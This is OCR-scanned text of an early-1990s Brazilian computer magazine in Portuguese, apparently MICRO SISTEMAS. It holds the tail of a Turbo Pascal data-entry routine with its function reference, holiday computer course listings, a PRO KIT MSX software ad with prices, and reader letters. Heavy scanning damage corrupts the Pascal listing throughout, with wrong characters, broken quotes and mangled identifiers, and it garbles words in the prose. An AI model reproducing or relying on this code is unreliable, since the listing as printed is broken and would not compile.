if (Ch > '@ ) and (Ch ¢ "%°) then Ch := #@;

End;

RJ: (021)232-0653 o o e e
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else Ch = #@;
“L" = Begin
Ch := UpCase(Ch};

WriteXy( 3, 21,
ntar o cursor”);
WriteX¥( 5, 7, °

WriteX¥( 5, 9, 'Endereco

Writed¥( 5, 11, "Bairro.sesasesetl b
WriteX¥( %, 13, "Copcccccv.n.. i
WriteXY( S5, 1%, 'Cidade.........:
Writexy( 45, 13, ‘Estado 3
Writexy( 45, 15, 'Fone.....: )
InputXy( 22, 7, Space(3@), "$°);
InputXx¥Y{ 22, 9, Space(3@), 'C');
InputXxy( 22, 11, Space(20), 'C");
InputX¥( 22, 13, Space(@5), '9');
InputX¥( 22, 15, Space(2®), ‘A" )j
InputXy( S&, 13, Space(D2), "!');
InputX¥( S&, 15, Space(l5), 'C’);
Readlnput;

WriteXy( 3, 21, Space(76));

GotoXY( 3, 21);

Write( Tecle (Enter) para continuar.’};
Repeat Until ReadkKey = #13;

ClearBox( B2, B&, 77, 17);

Cursor( &, 71;

WriteXY({ 5, 21, "Mostrando as informagoces digitadas.);

WriteX¥( 5, 7, ‘Nome ¢ "+Textos[1]);
WriteX¥( 5, ¥, "Endereco : "+Textos[2]);
WriteX¥( 5, 11, ‘Bairro : “+Textos[3]1);
WriteX¥( 5, 13, 'Cep : “+Textos[4]);
WriteXY( S, 15, ‘Cidade 5 “+Textos[{51);
WriteXY({ 45, 13, ‘Estado : "+Textos[éal);
WritexY( 45, 15, ‘Fone 3 ‘+Textos[7]1);
WriteX¥( 3, 21, Space(7&));

GotoXx¥( 3, 21);

Write( Tecle (Enter) para continuar.’)j
Repeat Until ReadKey = #13;

ClrScrj;

m— if (Ch <> "S’) ar (Ch <> "N’} then Ch := #@;
End;
?° : if (Eh € "@°) or (Ch > "9} then Ch := #@;
“AT 1 £F (Ch € "A") aor (Ch > “Z°) then
if (Ch < "a’). ar (Lh > "z") then Ch := #0;
ST 3 Begin
Ch := UpCase(Chl;
it (Ch < "A") or (Ch > “1°) then Ch := #B@;
End;
‘%13 if {Ch €TA°) or (Eh > T then
if (Ch < “a°) or (Ch > "z°7 then
if Ch <> #32 then Ch := #0;
‘&% : Ch := UpCase(Ch);
Endj;
if Ch > #31 then
Case Ins of
#1 : Begin
Insert(Ch, Textos[Regl,X);
Textos[Reg] := Copyi(Textos[Regl,1,len);
if ¥ < Len then X := X + 1;
End;
#@ : Begin
Mensage := Textos[Regl;
Mensagel[X]1 := Ch;
Textos[Regl := Mensage;
if X € Len then X := X + 13
End;
End;
Until Ch = #13;
TextColor({7);TextBackground(@);
GotoXY(&0,04)Write(” e
Somador := @;
End;
{ Programa Pricncipal }
{ 0 programa principal ndo tem nenhuma finalidade especial, somente
demostrar a fungdes escritas acima. }
Begin
Somador := Q;
Cursor( @, 7);
ClrScrj
Box( B1, Bi, B@, B3, B2);
WritexY( 14, 2, ‘Demonstracac de fungoes para Turbo Pascal Versdoc 4.@ ")
+ Box{ @1, 83, 8@, 18, 81};
Box{ @1, 23, B@, 23, 81)3
Box( @1, 20, 80, 25, 02);
WriteXY({ 3, 24, ‘Desenvolvido por: Selmo Luiz Bergamin % Fone: (@172) 42-3087
¥ Mirassol ¥ SP");
WriteXY( 44, 22, "Vocf estd usando MS-DOS versao “+VersionDos);

"Entre com as informagtes solicitadas! Usea as setas p/ movime

Write(’"Nome :');

InputXY( 10, 5, " *, '&);
GotoXY( 5, 7);

Write('Data :');

InputXY( 10, 7, " / /', ‘D');
Readinput;

O nome retcinara na Textos[1] e a
data Textos[2].

Além da rotina de digitacdo tam-
bém ha outras interessantes. Qutras
funcGes e procedure incluidos no pro-
grama INPUT.PAS.

Box( C1, L1, C2, L2, Tipo : Integer) (P)
Cria uma moldura no video, sim-
ples, dupla ou grossa.

ClearBox( C1, L1, C2, L2, : Integer) (p)
Limpa uma determinada area no
video.

Cursor{lnicio, Fim : Integer) (P)
Modifica o cursor. Inicio =
Fim = 7, padrdo do DOS.

Date : String (F)

Retorna a data do sistema
(DD/MM/AA).

Space( N : Integer ) : String (F)
Retorna o namero de espaco
contido em N.

VersionDos : String (F)

Retorna a versdo do MS-DOS
corrente.

Exist{ S : String ) : Boolean
Verifica a existéncia de um ar-
quivo.

WriteXY( Col, Lin : integer; MSG :

String ) (P)

Escreve no video, na posicdo es-
pecificada, uma mensagem sem
passar pela interrupcdo do DOS.
Vai direto para a memoaria de vi-
deo ($B800:4$0000)

6;

A rotina de digitacdo e as demais
funcdes e procedimentos estdo de-
monstradas no programa INPUT.PAS.

|

SELMO LUIZ BERGAMIN é Programador
e Instrutor de Computagio. Fez cursoc de
Programacé&o e programa em Turbo Basic,
Turbo Pascal, dBase lll Plus e Turbo C.

UM COMPROMISSO COM

O FUTURO

* MICROCOMPUTADORES e GABINETES
e IMPRESSORAS e PLACAS
e ESTABILIZADORES e TECLADOS
e NO BREAK e DRIVES

e FONTES
e SUPRIMENTOS
e TODA LINHA MSX

PRECOS ESPECIAIS
PARA REVENDEDORES
DESPACHAMOS PARA
TODO O BRASIL

PC-XT
PHOBOS-704K
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CURSOS DE FERIAS

Rio de Janeiro

1 A Microcenter esta oferecendo, no Rio
de Janeiro, cursos de: digitacdo, Basic, Lo-
tus 1-2-3, dBase lll Plus e WordStar, para
o periodo de janeiro a marco, com descon-
tos de 30%. Cada curso tem a duraggo de
um més, com aulas diarias de uma hora
de duracdo, de segunda a sexta feira. Os
cursos comegam sempre as quartas feiras.
Qutras informagdes pelo tel: (021)
255-2545.

[] A Crystalbit programou cursos de verao,
a serem ministrados no Rio de Janeiro, com
inicio em janeiro e término em fevereiro de
91. os cursos sao os seguintes:

- Introducdo a informatica; MS-DOS;
WordStar; dBase Ill Plus; Cobol; Basic; Lo-
tus 1-2-3 e Pascal.

- Modelagem de dados; Estrutura de ar-
quivos e Banco de Dados.

Informagdes pelo tel: (021) 294-3517.

[0 O GRUPO INE-R! (Instituto Nacional de
Especializacdo), comunica a abertura de
vagas para cursos de Informatica no pe-
riodo de janeiro a margo/91, no Rio de Ja-
neiro, conforme descricéo abaixo:

- Operacdo de Micros para Secretarias
-11/01/91 (sexta feira - noite)

- Programacéo Basic - 07/01/91 (segunda,
quarta e sexta - noite)

- Programacéao Basic - 05/01/91 (sabados
- tarde)

. Lotus 1-2-3 - Interativo - 19/01/91 (séba-
dos - manha)

- MS/DOS - Sistema Operacional - 05/01/91
(sabados - tarde)

- MS/DOS - Sistema Operacional - 04/01/91
(sexta feira - tarde)

- WordStar - Editor de Texto - 05/01/91 (sa-
bados - tarde)

- WordStar - Editor de Texto - 07/01/91 (se-
gunda, quarta e sexta - noite)

“WordStar - Editor de Texto - 08/01/91 (terca
e quinta - noite)

- dBase Il Plus - Programado - 10/01/91 (s&-
bados - manha)

- Pacotes Completos - 21/01/21 (segunda,
quarta e sexta - manha)

- Pacotes Completos - 21/01/91 (segunda,
quarta e sexta - tarde)

- Pacotes Completos - 26/02/91 (terca e
quinta - manha)

- Pacotes Completos - 26/02/91 (terca e
quinta - tarde)

Os pacotes completos incluiréo os cur-
sos completos de MS/DOS, Lotus 1-2-3,
WordStar e dBase Il Plus Interativo.

Todos os cursos terdo limite de 10 alu-
nos por turma e serdo interamente prati-
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cos, garantindo assim um bom rendimento
do programa aplicado. O INE oferece con-
dicoes especiais de pagamento € certifi-
cados de conclusdo apds a aprovacao final.

Contatos para informacdes pelos tels:
(021) 220-3863 e 262-4158.

[ A HO. Informéatica esta promovendo cur-
sos de verdo dirigidos a criancas, para ja-
neiro e fevereiro de 91, a serem ministra-
dos no Rio de Janeiro.

Os cursos serdo oferecidos para peque-
nas turmas, com um equipamento dispo-
nivel para cada aluno, e estéo organizados
do seguinte modo:

Cursos de verdo para iniciantes:
-Introduc&o a informatica através da lin-
guagem Logo;
-Introducao a informética através da lin-
guagem Basic.

Oficinas de verdo para alunos H.0.:
-Computador e video;
-Estérias por computador;
-Logo;
-Basic.
Outras informacdes pelo tel: (021)
325-0640.

] O Centro de Informatica de Niterdi co-
loca a disposicdo dos interessados, um pa-
cote de treinamento para o periodo de
verao.

O curso constara de: Iniciacéo ao dBase,
Iniciagao ao DOS, Iniciagao ao Lotus 1-2-3
e Iniciagdio ao WordStar (ou Carta Certa op-
cional).

Com inicio em janeiro de 91 e durag@o
de quatro meses. Informagdes pelo tel:
(021) 722:7500.

[0 A DBMS Informatica Ltda estd com ins-
crigdes abertas para o curso de Editoragdo
Eletronica usando o Ventura, que propde
ndo sb6 o ensino da ferramenta computa-
cional, mas também o uso de técnicas de
editoracdo independente do computador.

O curso tem inicio previsto para
04/02/91, no Rio de Janeiro, e duracdo de
um més. Os tdpicos sdo os seguintes:

- Principios basicos de Layout:

Tipos - O Sistema Tipografico; Célculo
do manuscrito; Colocando o tipo na pagina.

A técnica de Layout - Unidade e con-
traste; Plano de acdo; Divisdo de areas.

Meio de Propagacéo - Brochuras, livros
e catalogos; Boletins e papéis de carta;
Poster.

Técnica de Impresséo.

Ventura - Instalando; Montando a pa-
gina; Usando os tipos; Usando os graficos;
Refinando o sistema; Espacamento; Ende-
tacdes e alinhamentos; Ferramentas gra-
ficas; Criando boletins; Criando publicacbes
longas; Criando outras aplicagoes; Dicas
e truques.

Contatos para informagdes pelo tel:
(021) 262-6362

] O Centro Acol de Treinamento oferece,
para o periodo de férias, os seguintes cur-
sos no Rio de Janeiro:

Janeiro:
Introdugdo SCO Xenix - duragao de 5
dias, das 9:00 as 17h30min. Inicio 14/01/91
Administracdo SCO Xenix - duragao de
5 dias, das 9:00 as 17h30min. Inicio
12/01/20

Fevereiro:
Instrugdo SCO Xenix - duragdo de 5 dias, -
das 9:00 as 17h30min. Inicio 18/02/91
Linguagem C - duracao de 7 dias, das
9:00 as 17h30min. Inicio 22/02/21

Marco:

Introdugdo SCO Xenix - duracdo de 5
dias, das 9:00 as 17h30min. Inicio
11/03/91

Administracdo SCO Xenix - duragao 5
dias, das 9:00 as 17h30min. Inicio
18/03/91

Maiores informacdes pelo tel: (021)
224-2353.

Sdo Paulo

1 A Servimec programou os seguintes cur-
sos para jeneiro de 91, em S&o Paulo:

- Introdutério e Sistemas Operacionais:
Introducdo a microinformatica; MS DOS
Operacao Basica e MS DOS Operagdo Avan-
cada.

- Gerenciadores de Bancos de Dados:
dBase lil Plus Interativo; Dialog Plus C Ba-
sico; Paradox Basico; Frontrunner Interativo;
Frontrunner Programado; Frontrunner Avan-
cado; dBase IV Basico; dBase IV Progra-
mado; dBase lll Plus Programado e dBase
Iil Plus Avancado.

- Processadores de Texto: Carta Certa
I1l; MS-Word 5.0; MS-Word 4.0; Wordperfect
50; WordStar 5.0; WordStar 2.000 Plus;
WordStar 4.0 Profissional e Wordperfect 4.2

- Integrados: Framework lll Basico e
Symphony.

- Planilhas Eletronicas: Lotus 1-2-3 Ba-
sico; Supercalc 4.0; Quatiro Pro Basico; Su-
percalc 5 Basico; WP-Planner Plus; Super-
calc 5 Avancado; Lotus 1-2-3 Avangado €
Quattro.

- Linguagens: Clipper Summer 87; Pro-
gramacgao com Turbo Pascal 5.0; Joiner
-Compilador do dBase e Programando em
Linguagem C.

Outras informacdes
(011)222-1511.

pelo tel:

_’———'ﬁ
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Porque comprar um
PRO KIT original?

5%
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Preco
GRAPHOS lil - editor grafico .........c.covieniucis Cr$ 4.000,00
GRAPHOS PRO - editor gréfico profissional ... Cr§ 9.500,00
MODULO TELAS - editor de telas ................ Cr$ 6.600,00
MODULO LETRAS - editor de letras/shapes ... Cr$ 6.600,00
MODULO PRINTER - tabelas e impressor ....... Cr$ 6.600,00

Alfabetos 1 - banco de 16tras .......coeecvrevnnnns Cr$ 1.380,00
Telas 1 - banco de telas ........oooveveeeiieeeeenennn Cr§ 1.380,00
Shapes 1 - banco de figuras .........coooveueeee..., Cr§ 1.380,00
Pacote 1 - tabelas, shapes e letras .......c.oveninn. Cr$ 1.380,00
PRO KIT zapper - editor de discos ................ Cr§ 4.200,00
PRO KIT scanner - capturador de figuras ....... Cr$ 4.200,00
PRO KIT files - gerenciador de discos ............ Cré 4.200,00
PRO KIT rot-ll - utilitério p/médulos .............. Cr$ 4.200,00
PRO KIT format - formatador especial ........... Cr§ 4.200,00
PRO KIT topview - editor de animacdes ........ Cr$ 4.200,00
EDITOR 3.4 - editor de adventures ................. Cr$ 7.360,00
AMAZONIA - 0 mais famoso adventure ......... Cr$ 2.800,00
SERRA PELADA - a mais divertida aventura .. Cr3 2.800,00
Digital BOOK 1 - o livro eletr6nico ................ Cr$ 2.000,00

ATENGAD: Os programas da série PRO KIT e os adventures sio compativeis com o padiio MSX
de acesso ao drive por portas {interfaces Microsol, TPX, DMX e Expand]. Estéo fora desse padrio
e portanto ndo funcionardo perfeitamente nas seguintes interfaces: DDX 2.0, SHARP, LEOPARD
e EXPERT DDPLUS.

NOVIDADE PARA IBM PC:
0 [ PRO KIT topline - editor de fontes assembler

Cr$ 6.500,00

Em primeiro lugar, a PRO KIT é a tnica
empresa de software para MSX que co-
mercializa apenas os produtos que produz.
Vocé pode achar pouco, mas pense bem:
é impraticavel dar suporte técnico quando
se oferece 10 mil titulos diferentes ao mer-
cado.

Em segundo lugar, a PRO KIT néo con-
sidera o consumidor como “fregués* mas
sim como CLIENTE. Vocé pode achar que
isso é apenas um jogo de palavras mas
o atendimento para CLIENTES é muito
diferente.

Em terceiro lugar, os programas da PRO

KIT ndo param de evoluir. N5o existe um

50 produto no mercado de MSX que te-
nha um histérico evolutive semelhante ao
GRAPHOS IlI. Isto significa respeito ao
usuario.

E por fim, poderiamos falar também da
gualidade dos nossos produtos, mas isso
nos deixamos para vocé conferir pes-
soalmente.

COMO FAZER SEU PEDIDO:

Marque os programas que deseja re-
ceber em sua casa e preencha o

cupom abaixo. Anexe um cheque nominal &8 PRO KIT Informética e Editora Ltda, no
valor total do pedido, e envie para a Caixa Postal 108.046, Cep 24120, Niteréi - RJ. Seu
pedido serd prontamente atendido.

Sim, desejo receber os produtos as- Nome:
sinalados, pelos quais pagarei a _
quantia de Cr$ Endereco:
em cheque nominal a8 PRO KIT In-

. Cidade:

formatica e Editora Ltda.
(Cheque n°

UF:

Cep:




CARTAS

Ms RESPONDE

[0 Venho pedir algumas informacdes
complementares a respeito do artigo in-
titulado ‘Digitalizagdo de Imagens' de au-
toria de Miguel Angelo Clemente, pois
montei o projeto em proto-board mas o
mesmo nao funcionou.

1 - Haveria alguma errata publicada em
revistas posteriores?

2 - Na linha 240 do programa principal
em Basic ha a instrugdo ‘VIEW' que pro-
voca erro de sintaxe no programa.

3 - Ao rodar o programa nao ocorre a di-
gitalizagdo e o programa trava o compu-
tador.

as imagens digitalizadas com o programa
Ventura Publisher?

5 - Haveria alguma possibilidade de eu
entrar em contato direto com o autor do

Marco Antdnio Pinto - R.Helium, 240
- Belo Horizonte - MG - 31130

Caro Marco Anténio,

Com referéncia aos itens 1,2 e 3 de
sua carta, veja em MICRO SISTEMAS ni-
mero 97, pagina 20, a secdo Tira Telma
Onde foi publicada a correcdo da matéria

4 - Haveria alguma possibilidade de usar

artigo para melhor esclarecer as dividas?

‘Digitalizacdo de Imagens!

Quanto ao item 4, a resposta é afir-
mativa.

No que diz respeito ao item 5, ndo for-
necemos endereco ou telefone dos cola-
boradores, a pedido dos mesmos. Escreva
a redacdo de MICRO SISTEMAS expondo
suas diividas e Iinformando seu nome, en-
dereco e telefone, que sua carta sera en-
caminhada au autor da matéria.

[0 Gostaria de saber, detalhadamente,
como fazer para publicar os meus progra-
mas em MICRO SISTEMAS. Estou adoran
do a revista e a compro todos os meses.
Luiz Katsuya Ono - R.Profa. Maria Bi-
tencourt, 83 - Sdo Paulo - SP - 04405

[0 Quando comprei a MICRO SISTEMAS
niimero 95, vi o aniincio onde a MS se pro-
pos a publicar programas que lhe fossem
enviados. Possuo dois programas, mas
ainda ndo enviei o disquete pois
gostaria de obter maiores informacées a
respeito da publicagao.

Fabiano Marins de 0. Santos - Av. D.
Jodo VI, 205/203 - Salvador - BA
-41940

Caros Luiz e Fabiano,

Vejam em MS 99 as novas explicacdes
do antincio MICRO SISTEMAS PROCURA
NOVOS TALENTOS.

Basta seguir as instrucdes contidas
nos REQUISITOS INDISPENSAVEIS (final da
péagina) que o envio de seus trabalhos
serd felto corretamente.

O Li o artigo ‘Imagens Coloridas no
PC: da revista MICRO SISTEMAS 96, e
gostaria de ligar 0 meu micro em uma TV
colorida que possuo, ja que o prego de
um monitor colorido € muito alto ainda.
Em vista desta possibilidade, peco se
possivel, que MS me informe como con-
tatar a Fhesk Tecnologia Eletronica Ltda,
para conseguir a placa ATV.

Luiz Benedete de Freitas - R. 3B, 61
-Rlo Claro - SP - 13500

Caro Luiz,

N&o s6 vocé mas intimeros leitores,
nos procuraram para saber o endereco da
Fhesk, por isso o publicamos a seguir:

- Fhesk Tecnologia Eletrénica Ltda - R. Ju-
lio Reis, 548 - Sao Gongalo - RJ
-CEP:24515 - TEL:(021)712-8034

™1
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(0 Gostaria de receber informacgdes sobre
alguns langcamentos para a linha Apple de
que tomei conhecimento lendo um infor-
mativo destinado a usudrios: interface
para usar drive de PC, drive de 3.5° e win-
chesters. Aparentemente, firmas nacionais
ja produzem (ou pretendem produzir) es-
tes periféricos. Gostaria de saber quais.
Joao Paulo H. C. de Andrade - QL, C3,
J_.América Iil - Olho D’Agua - Sao Luis
- MA - 65000

[0 Sou técnico em Eletronica Digital e
gostaria de entrar em contato com em-
presas brasileiras que vendem programas
originais sobre Engenharia Eletronica e
Telecomunicacdes em disquetes compa-
tiveis com o Itautec e o Amiga.
Também gostaria de entrar em contato
com a Universidade de S&o Paulo, com a
Scopus Informéatica, e com empresas e
lojas que vendem programas musicais

DD Plus) e ltautec.

sintetizados para linha Gradiente (Expert

Jair Santana Silva - Av.Barral, 269 -
Salvador - BA - 40250

[ Li uma nota sobre a courseware da
IBM, o ABC do Lotus 1-2-3, e gostaria de
saber onde adquiri-lo, se a firma o despa-
cha para todo o Brasil e a que prego. Cur
so o integrado e queria ter mais infor-
macdes sobre a planilha.

Francisco de Assis Prates - R. Prefeito
Antenor Bué, 380/22 - Santos - SP
-11040

O Sou programador autdnomo de micro-
computadores IBM PC, linguagens dBase
1l Plus e Clipper, e gostaria de saber on
de poderia adquirir disquetes indistriais
para distribuir meus préprios aplicativos.
Gostaria também de saber onde posso
obter o ‘Manual de Referéncia Técnica do
IBM PC' e o ‘Manual de Referéncia do
Programador do DOS 4.01.
Paulo Y. Horanaka - Caixa Postal
12896 - Sao Paulo - SP - 04092

[0 Sou estudante de processamento de
dados e usuéario de IBM PC e venho re
clamar das dificuldades que tém os estu-
dantes para adquirir softwares de apren-
dizado. Ndo desejo estimular a pirataria,
mesmo porgue uma equipe que gasta mi-
lhares de délares e meses de trabalho
para desenvolver um software merece ter
seus direitos respeitados. Sou contra a
copia ilegal de programas por parte das
empresas, mas acho que os estudantes
deveriam ter direitos a uma copia de de-
monstracao.

Sou programador dBase lil e tive a
chance de aprender a usa-lo em uma
empresa, com programas originais, mas
outros podem ndo ter a mesma chance
que eu tlve, por isso gostaria de saber
se existe algum servico desse tipo, por
parte de softhouses ou outras institui-
¢oes.

Oduvaldo Mazza Junior - Rua Cavaibas,
505 - Bairro Pompéia - Sao Paulo - SP
- 05020
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[0 Se vocé é analista de sistemas, admi-
nistrador de empresas ou programa em
Turbo Pascal 4.0 e 55 e Turbo C; se tem
conhecimentos de sistemas multiusuarios
e pretende formar uma empresa de desen-
volvimento de sistemas, junte-se a nés.
Carlinhos e Lauro - Tel:570-2785 ra-
mal 24.

[ Possuo um CP 500 e, no Brasil, ndo
existem muitos clubes para essa linha, por
isso pego que outros usuarios do CP 500
me indiquem clubes confidveis aos quais
eu possa me dirigir.

Quvi falar muito bem de um certo Gar-
field Club, serda mesmo bom? E, se afir-
mativo, qual o endereco do mesmo?
Milton da Silva - Banco Mercantil - Cen-
tro - Caixa Postal 141 - Bento Gongal-
ves - RS - 95700

0 Possuo um CP 500 M80//C, e estou pro-
curando o compilador Basic (Bascom) para
CP/M. Quem o possuir favor entrar em con-
tato comigo.

Cid Campos - R.Uruguai, 1300/602
-Itajai - SC - 88300

[0 Possuo um Amiga 500 e gostaria de
trocar informacdes e programas sobre este
computador. Pego aos usuarios o favor de
remeterem uma lista de seus programas.
Munif Gebara Jr. - Caixa Postal 661
-Maringa - PR - 87100

[J Possuo um TK3000 lle e estou preten-
dendo comprar um Macintosh. Mas como
nao o conhego bem peco informagoes so-
bre o mesmo.

Paulo José C. R. Dias da Silva - R.Sa
Ferreira, 189 - Rio de Janeiro - RJ
-22071

U] Possuo um Expert 1.1, um datacorder
Gradiente, um drive Racidata dupla face
5 1/4; Monitor MBW/12 e estou interessado
na troca de informacgdes na area de apli-
cativos e periféricos. Também estou que-
rendo esquema do Expansor de Slot. Te-
nho esquema completo do MSX 1.1 e
Monitor BMW 12. Possuo varios livros de
programas e de Eletronica. Também me
interesso por esquema de drive dupla face.
José Afonso Alves - R.Guaratuba, 202
- Campo Grande - MS - 79085

] Estou adquirindo um computador de
bolso da Casio, o FS 9000 e decidi escre-
ver a MS para ver se alguém pode me dar
informacdes sobre os micros da Casio, es-

pecialmente sobre o FS 9000. Onde posso
conseguir programas aplicativos, livros e
maiores detalhes sobre este computador.
Gilberto Gomes Scalon - R.General Ca-
nabarro, 484 - Santiago - RS - 97700

[ Gostaria de trocar programas, manuais,
dicas e mapas com usudrios do micro
TK9S5 e compativeis.

Nilsson Fernandes - R.Alto Garcas, 274
- Sdo Paulo - SP - 03546.

[J Sou um usuério do micro Amiga e gos-
taria de entrar em contato com outros
usuérios para a troca de programas (jogos
e aplicativos) desta fabulosa maquina.

Silvio Luiz Evangelista - Av. Dr. Jam-
beiro Costa 881 - Leme - SP - 13610.

[0 Gostaria de obter a senha do jogo Tar-
taruga Ninja, jogo para computadores da
linha PC. Aproveito a oportunidade para
avisar aos usuarios de PC, que entrem em
contato comigo, para a troca de idéias, di-
cas, macetes, e principalmente programas,
Jogos ou utllitarios. Ficaria grato se envias-
sem a listagem de seus programas. Res-
ponderei a todas as cartas.

Marcelo Reis - R.Tenente Mario Bar-
bedo, 559 - Parque Edu Chaves - Sdo
Paulo - SP --02233

[ Sou usudario de um Commodore Amiga
500, com drive de 5 1/4; mouse e televisdo
colorida adaptada para padrao RGB. Gos-
taria de trocar softwares, dados técnicos
e dicas. Ficaria feliz se alguém pudesse
me fornecer informacdes sobre os progra-
mas Sonix v. 2.5, Digipaint 3.0, Deluxe
Paint lll, Amiga Transformer, Sculpt 3D e
Fantavision.

Carlos Yuiti Tsujimoto - R.Afonso Celso,
85/101 - Salvador - BA - 40160

[J Possuo um MSX Expert 1.1, com drive,
monitor, gravador e impressora, e gosta-
ria de me corresponder com alguém que
possua 0 mesmo equipamento para tro-
car jogos, utilitarios, aplicativos, dicas, etc.
Rodrigo C. Gunther - R.Santos Dumont,
429 - Uniao da Vitoria - PR - 84600

[0 Sou usuario de um micro CP-500
M80c, possuo cerca de 60 disquetes e
gostaria de trocar aplicativos, e principal-
mente jogos de adventure, com usuarios
desta linha ou compativeis.

Marcos Luiz dos Santos - Av.Pascoal
Celestino Soares, 228 - Vila Industrial
- Campinas - SP - 13033

[0 Possuo um micro IBM PC/XT e gosta-
ria de me corresponder com usuarios
desta linha para troca de idéias, progra-
mas e jogos.

Emerson Berg Jorge Pereira -R.0Olegario
Maciel 1932/101 - Juiz de Fora - MG
- 36015

0 Tenho um Amiga 2000HD, com Hard
Disk de 40Mb, drive de 3 1/2° de 880 e
monitor colorido com saida de som ste-
reo e impressora colorida Citizen 200GX.
Gostaria, se possivel, de receber maiores
informacgdes sobre software (principal-
mente na drea grafica e de som), literatura
disponivel nesta mesma érea e, principal-
mente, saber como tirar o maior proveito
das qualidades deste computador.
Juliandro Bordignon - R.Angelo Mis-
tura, 15/101 - Marau - RS - 99150

[J Possuo um micro da linha MSX (Hotbit
1.1) que uso em casa para fins pessoais
e desenvolvimento de aplicativos. Agora
estou pretendendo comprar um PC/XT ou
mesmo um AT até o final do ano, mas gos-
taria de contar com o apoio dos leitores
de MS ajudando-me a fazer a melhor es-
colha a respeito de teclados, CPU, moni-
tores (RGB) e mouses. Também gostaria
de me cormresponder com usuarios de MSX.
Adilson Bonan - R.Manicore, 8 - Atro-
arl - UHE Balbina - AM - 69736

] Possuo um CP-500 e gostaria que
usuarios do mesmo, que possuam soft-
ware de linguagem de programacao, me
enviem cépias das mesmas e mapa de
memoéria de video, RAM, 1/0, BIOS, etc.
Também vendo placa CP/IM 64K.
Geovanio Pereira de Lima - R.Recieri
Petri, 43 - Jardim Camanducaia - Am-
paro - SP - 13900

O Desejo entrar em contato com usuarios
do Amiga para troca de programas.
Halan L. B. Dias - R.Americana, 9 - $ao
Paulo - SP - 08040

O Gostaria de me corresponder com
usuarios da MSX 1.1, com drive de 1/4:
Dalton Mota Oliveira - Av.Rio Branco,
2986/03 - Juiz de Fora - MG - 36015

] Gostaria de entrar em contato com os
leitores de MS, que montaram o digitali-
zador de imagens e obtiveram sucesso,
para troca de informacodes

Raul Nunes de Andrade Jr. - R. 15 de
novembro, 145 - Trés Rios-RJ - 25800
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SUGESTOES

O Venho sugerir a MICRO SISTEMAS que,
para matérias futuras, seja abordado o
problema da acentuacéo grafica de forma
a compatibilizar plenamente o WordStar
com a Lady 80. No meu caso, utilizo o re-
lease nimero 4 desse processador de
texto que, apesar de muito bom, deixa
bastante a desejar no que se refere a
acentuacdo em portugués.

Sergio Rodrigues Salgueiro - Piraci-
caba - SP

[0 Trago aqui duas sugestdes que, creio,
muitos outros leitores também apoiaréo.
1) Os softwares da PRO-KIT sdo exclusi-
vamente para MSX e ficam devendo para
as outras linhas. Creio que deveriam ser
desenvolvidos também softs para outras
linhas, principalmente para os PC e com-
pativels;
2) A secdo Software, onde se tem uma
excelente andlise do software disponivel
no mercado, deveria indicar nome, ende-
reco e telefone do fabricante ou represen-
tante que comercializa o respectivo soft-
ware aqui no Brasil, pois ao conhecer os
programas analisados, e pretendermos
adquiri-los, nos faltam esses dados.
Gostaria ainda de parabenizar o Rena
to Degiovani pela brilhante matéria As
sembler no PC: muito bem elaborada e
de facil entendimento, deixando a desejar
apenas na primeira parte, quando ficaram
pouco claros, para leigos como eu, assun-
tos como ‘flags, registradores... Sugiro

uma ‘evisdo' do assunto mais detalhada
Renato Vilela de Magalhaes - Brasilia
- DF

[0 Venho dirigir-lnes um pedido que, es-
pero, tenha boa acolhida:

Nao existiriam condicdes de serem fei-
tas matérias para nés, pobres usudrios,
que estamos nos Iniciando agora no po-
deroso campo da microinformatica? As
matérias de MICRO SISTEMAS me pare-
cem de facil andlise, mas apenas para
aqueles que tem aprofundados conheci-
mentos de programacao.

Luiz Fablano Sassi - Brusque - SC

0 Quero sugerir que MS publique novas
matérias sobre ‘Educacao e Informatica,
pois ha tempos nao tenho lido nada na
revista sobre o tema.

Regiane Macuch e Silva - Curitiba - PR

O Venho dar uma sugestdo que, creio, se
for aprovada podera melhorar as edicées
de MICRO SISTEMAS: por que vocés nao
reservam pelo menos umas trés paginas
da revista para dicas, macetes, mapas de
algum programa ou jogo? Muitos clubes
e usuarios poderiam ajudar nesta parte.
Nelson Fernandes Leite - Cidade Pa-
triarca - SP

1 Venho agradecer a qualidade que esta
revista tem mantido durante anos, mas
gostaria de sugerir que o Caderno de Jo-

gos voltasse a ser publicado. No entanto,
para evitar reclamagdes dos leitores, MS
dividiria espaco entre: Secdo Amiga,
Secdo PC, Segdo MSXTHIOX, Zapping,
Adventure e lan¢camentos.

Claudio Souza Matos - Vitéria - ES

[1 Venho trazer uma sugestio para Mi
CRO SISTEMAS. Por que vocés ndo publi-
cam uma secdo de macetes para jogos?
Gostarla também de solicitar a volta dos
programas para MSX, pois ha duas edi-
coes estes ndo aparecem.

Dalton Mota Oliveira - Juiz de Fora - MG

1 Venho sugerir que Micro Sistemas pu-
bligue mais programas para a linha Ami
ga, que vem crescendo a cada dia no
Brasil.

Peco também a volta do Caderno de
Jogos, que fez um sucesso incrivel e a
tendéncia era crescer cada vez mais.

Na minha opinido, o Caderno de Jogos
foi uma das melhores partes da revista e,
caso volte, gostarla que ndo s6 comen-
tasse jogos, mas explicasse truques e
apresentasse vidas infinitas.

Halan Leno Dias - Sdo Paulo - SP

[ Venho sugerir que MS elabore um curso
sobre linguagem C, com exemplos prati-
cos e explicativos. Seria uma boa, agora
que a MS esta abrindo um bom espaco
para os micros da linha PC.

Wagner Batista de Godoi - Limeira - SP

Complete sua colecao de MICRO SISTEMAS
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Sos

[0 Sou usuario de um MSX Expert 1.1, es-
tou Iniclando agora na sua linguagem de
programacéo, e tenho um grande pro-
blema: como posso fazer, em Basic, se
possivel, uma matriz de 4X9 (horizontal,
vertical) blocos gréficos, que representem
um desenho qualquer (um heroi de um
jogo, por exemplo)?

Se algun outro usuario puder me aju-
dar, eu agradeco pois estou desesperado.
Luiz Fabiano Sassi - R.Pedro Werner,
94/fundos - Brusque - SC - 88350

0 Possuo um MSX 1.1 equipado com
uma Megaram 768, 80 colunas CT 80E,
um drive DMX e um monitor Unitron I, e
quero aprender a linguagem C, utilizando
o AZTEC C. Depois de fazer varios cursi-
nhos, deparei com um programa interes-
sante que me capacitaria, de varias ma-
neiras, a lidar com esta linguagem. O
referido programa foi publicado em MS 89
com o titulo Telas em C:

Digitel o programa no WordStar con-
forme a Praxis e tentei compila-lo varlas
vezes, até que consegui criar o esperado
LCOM. A partir dai ndo consegui sair desta
posicdo por mais que tentasse. O micro
congelava neste ponto e entdo era obri-
gado a dar o boot.

Tenho o conhecimento de um cartdo
que faz o papel de um relégioc mas o texto
nao se referiu a este detalhe.

Gostaria muito de informacdes suple-
mentares: ajcomo devo compilar, linkar e
